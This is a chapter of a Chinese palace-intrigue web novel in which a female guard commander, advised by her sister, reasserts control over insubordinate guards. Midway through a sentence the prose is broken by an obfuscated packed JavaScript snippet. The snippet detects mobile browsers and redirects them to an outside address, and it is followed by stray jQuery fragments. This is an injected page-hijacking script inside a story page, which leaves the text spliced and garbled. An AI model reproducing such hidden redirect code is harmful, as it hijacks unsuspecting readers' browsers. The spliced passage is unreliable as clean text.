13.第 13 章
作品:《天生帝王命》 朝中的角逐一轮又一轮的上演,到了中期,卢鸿瑜收税的道路变得顺利许多。
刁难质疑都消失了,取而代之的是各地识相得奉上白银。或寡言或笑得勉强,总之他刚到地方,白银便已经准备好了,他只需要对好账目,便着人押运回京都即可。
宋移星听着户部尚书报上来的账目,慢悠悠得摇着椅子。
二千三百两雪花银。
足足两千三百两。
比去年多收了一倍有余。
虽说这是宋移星控卢氏削郑家又提点崔家的结果,但这些老狐狸们会吐出所有钱吗?
不会,他们只是今年少吃了一些,吐出来的能有五成左右就不错了。
不过宋移星现在根基不稳,权急之下能有这个数字已经算不错了。
好在朝堂上势力错综复杂,卢家在意宋开星,崔家又识时务,郑氏看见其它两家都龟缩起来,自己也狐疑着收敛了些,唯恐他们偷偷和宋移星联合在一起演他。
有弱点。
有弱点好啊。
国库充盈起来,对并州的新一轮赈灾开始了。
之前的赈灾官员务实廉洁,宋移星便又将此事交给了他办。
并州灾情稍缓,宋移星最危险的一环安然度过,而蒋时雨依旧愁眉不展。
她同妹妹来到京都后便赁了一间院子,虽然狭小,却胜在位置好,人来人往,要比偏僻的地方安全不少。她们带了不少钱财,加上她已有俸禄入账,足够她们生活。只是软娘执意要出门做工,并不希望在家无所事事。
蒋时雨在门前站了半天,才轻轻推门而入。
她扬起笑脸:“软娘,我回来了。”
软娘正伏案抄书,闻言站起来:“长姐,饿了吧?我今日在苏婆婆那里打了些面和小菜。”
面菜已经在桌子上摆好了,软娘将上面盖着的盘子取下,还能看到隐约冒着热气。
蒋时雨眼神软了又软:“软娘,辛苦你了。”
软娘抬眸,看了看她,将手中的盘子放下。
“长姐为何这般说?”
蒋时雨垂下眼:“在家中这等杂事哪用你来沾手,衣食无忧,读书抚琴,如今竟沦落到这等地步。我……”
她的语气尚且平常,只是软娘清楚得看到,两滴大颗的泪珠砸落下来。
蒋软娘歪了歪头:“长姐忘了吗?我自小在姨娘房里长大,在母亲将我带走前,我一直都是自己洗衣做饭的,不过七年光景而已,这些活计倒也尚未松懈。我现在抄书,也依旧能看书;至于抚琴么……长姐,我本就不爱抚琴,若非父亲要求,抚琴起舞烹香品茗我都不会做,这于我而言是枷锁。跟随长姐来到京都是我自己的决定,好坏我都承担,无怨无悔。”
“长姐…”蒋软娘捧起她的脸,泪眼汪汪的长姐想要躲闪却被按住,“不必愧疚,你我只有情谊,并无亏欠。”
她知道,这两滴泪,一滴为心疼,一滴为委屈。
“长姐在宫中不顺利,可同我说说?”蒋软娘擦拭她的泪水,语气温柔,“诸葛宁愿为蒋指挥使分忧。”
蒋时雨被她逗笑,低沉的气氛被打破。
姐妹俩近日来的凝滞也消散于无形。
蒋时雨将自己近日来的烦恼一五一十得说出来,翎羽卫全是男子,新老都有,很快就打成一片。他们吃住都在一处,插科打诨,男子间有天然的话题,时常往下半身走,蒋时雨可谓是格格不入。
她发的号令众人都不重视,反而是他们中有人振臂一呼,便得到热烈响应。
蒋软娘双手交叉,缓缓摩挲手指关节。
很显然,长姐被架空了。
俗话说新官上任三把火,立威最好在开始就做。现下底下打成一片,她也没把他们怎么样,寻常手段已经不好用了。如今若是想拿回主导权,纸老虎需要长出牙。
听完后,她说道:“此事不难,长姐只需……”
月落日升,蒋时雨穿戴整齐站在演武场上,她穿着羽翎卫的专属玄服,只是袖口领口各有一截红羽刺绣。红色发带随风飘扬,衬得她英姿飒爽。
在她的视线当中,百来位银翎卫正在进行晨练,男女都有,整齐有肃,口号喊得震天响。
银翎卫仅是将刺绣换为了银色,金翎卫为金色,若非离近了看其实看不出区别。
日晷缓缓变化,集合晨练的时间已经过了半柱香,场上依旧没有羽翎卫出现。
蒋时雨却不似常日般托人去叫,她不慌不忙地看着银翎卫训练。
翎羽卫卧房里,拥挤的大通铺,众人慢悠悠得起床穿衣,有的吹着口哨打闹。
几个人甚至打闹倒在了林大面前,他折好衣领皱眉:“也不看看现在都什么时辰了,还玩。”
几人悻悻站起来,狡辩:“老大,不就是睡迟了一炷香吗?没事的,想必今日蒋指挥使也不在,要不然怎么现在都没人来喊咱们呢?”
“就是,而且那女人也不能把我们怎么样,我每次都怀疑咱们多说两句话她都要当场哭出来了。”
林大脸色不算好看,近些日来林无双几乎没回过家,爹娘对此颇有微词,昨日二人休沐回家,林无双又同爹娘吵起来了,家中气氛紧张。他夜里思来想去,频频起晚,今日竟迟成这样。
他抬脚给了一人一脚,不假辞色:“都有点正形,你们现在丢的都是羽翎卫的人。什么叫那女人?那是圣上亲封的指挥使!你们故意搞出这种场面,是想告诉圣上她封的指挥使德不配位吗?!滚!都给我滚!”
昨日,他去劝说林无双,二人大吵一架,不知怎的竟扯到羽翎卫上面,林无双就是这么骂他的。
“蠢货,一群蠢货。”
林无双睨他一眼:“管好你自己吧,大哥。你都大难临头了,真以为你们做的事情陛下不知道吗?现在陛下没插手,无非是想历练她一下。你们小打小闹陛下喜乐见闻,但若真不把她当回事……指不定陛下生气,到时候革了你的职是小,满门抄斩是大,自求多福吧。”
林大并非蠢顿固执之人,他得承认,林无双说的是有道理的,甚至越
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16546583|186683||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
想越有道理。
况且她还是陛下跟前红人,她说的话,完全可以当作是陛下的意思,林大不敢不听。
林大拿起佩刀就往外走,这次他已经没了等好兄弟的心。
倘若林无双所言无误,陛下想看见的绝非是蒋时雨一人对整个羽翎卫,她得有帮手,兴许这也是选拔副指挥使的一环。
等他一路跑到演武场,就看见百十来个银翎卫正在训练,林大愣在原地。
他们步伐一致,动作标准,仿佛合为了一个人一般,林大从未见过这样训练有素的侍卫。
他若是没记错,银翎卫里面有许多都是野路子出身,其中一些比试时他也注意过,并无今日之姿,尤其是里面的女子,这才一月不到,竟仿佛脱胎换骨了一般。
这是银翎卫,那无双的金翎卫呢?人少而精,现在又练到什么程度了?
难怪林无双愈发看不起他,差距拉得竟然如此之大。
等到羽翎卫稀稀拉拉得到来,看到这一幕都惊讶得长大了嘴巴。
有人上前找蒋时雨:“指挥使,这不是我们羽翎卫的演武场吗?怎么他们在这里训练?”
蒋时雨正在观摩银翎卫训练,越看她就越心惊。要知道,银翎卫也未选出副指挥使,指挥使今日当值,训练全靠他们自己,无人带领,竟有如此效果!往日阿赵训练时她也看过,她知道阿赵训练有素,却不曾想已到达如此地步。
听到属下的质问,蒋时雨连个眼神都没给。
“赵指挥使有事,让我代为训练几日。”
那人急了:“那我们的训练怎么办?他们把我们的地方给占了。”
占个屁。
这演武场大得很,无非是他们觉得自己和银翎卫一起练太露怯,不肯丢人罢了。
蒋时雨居高临下朝他瞥了一眼,既未同往常一样上赶着和他们搞好关系,也没有自觉自己身为指挥使为手下排忧解难。
“现下什么时候了?”
羽翎卫:“……寅时三刻。”
蒋时雨:“训练几时开始?”
羽翎卫低下了头:“寅时一刻。”
蒋时雨微笑,笑不露齿的笑。
自从入宫后,她就一直在避免自己这样笑,她不自觉得想要朝男人靠拢,粗糙、随意,连发带都用沉闷的黑色,毫无点缀。她爽朗得笑,试图融入他们那些低劣的玩笑之中,却毫无还手之力。
然而她今日笑得十分淑女,却令人不敢轻视。
“往后半个月都是我暂带银翎卫,公平起见,你们谁来的早就谁练,来的晚就休息。”
说完,她就继续观摩起银翎卫的训练,再未给杵在那里的羽翎卫一个眼神。
那人将蒋时雨的话带回去,羽翎卫果然炸开了锅。
“什么意思?她到底知不知道她是谁的指挥使?”
人群里七嘴八舌得抱怨,却没人敢上前驱赶银翎卫,他们也不能回去休息,只能在这里屈辱得看着对方训练。
直到太阳落山,也没有人再搭理他们。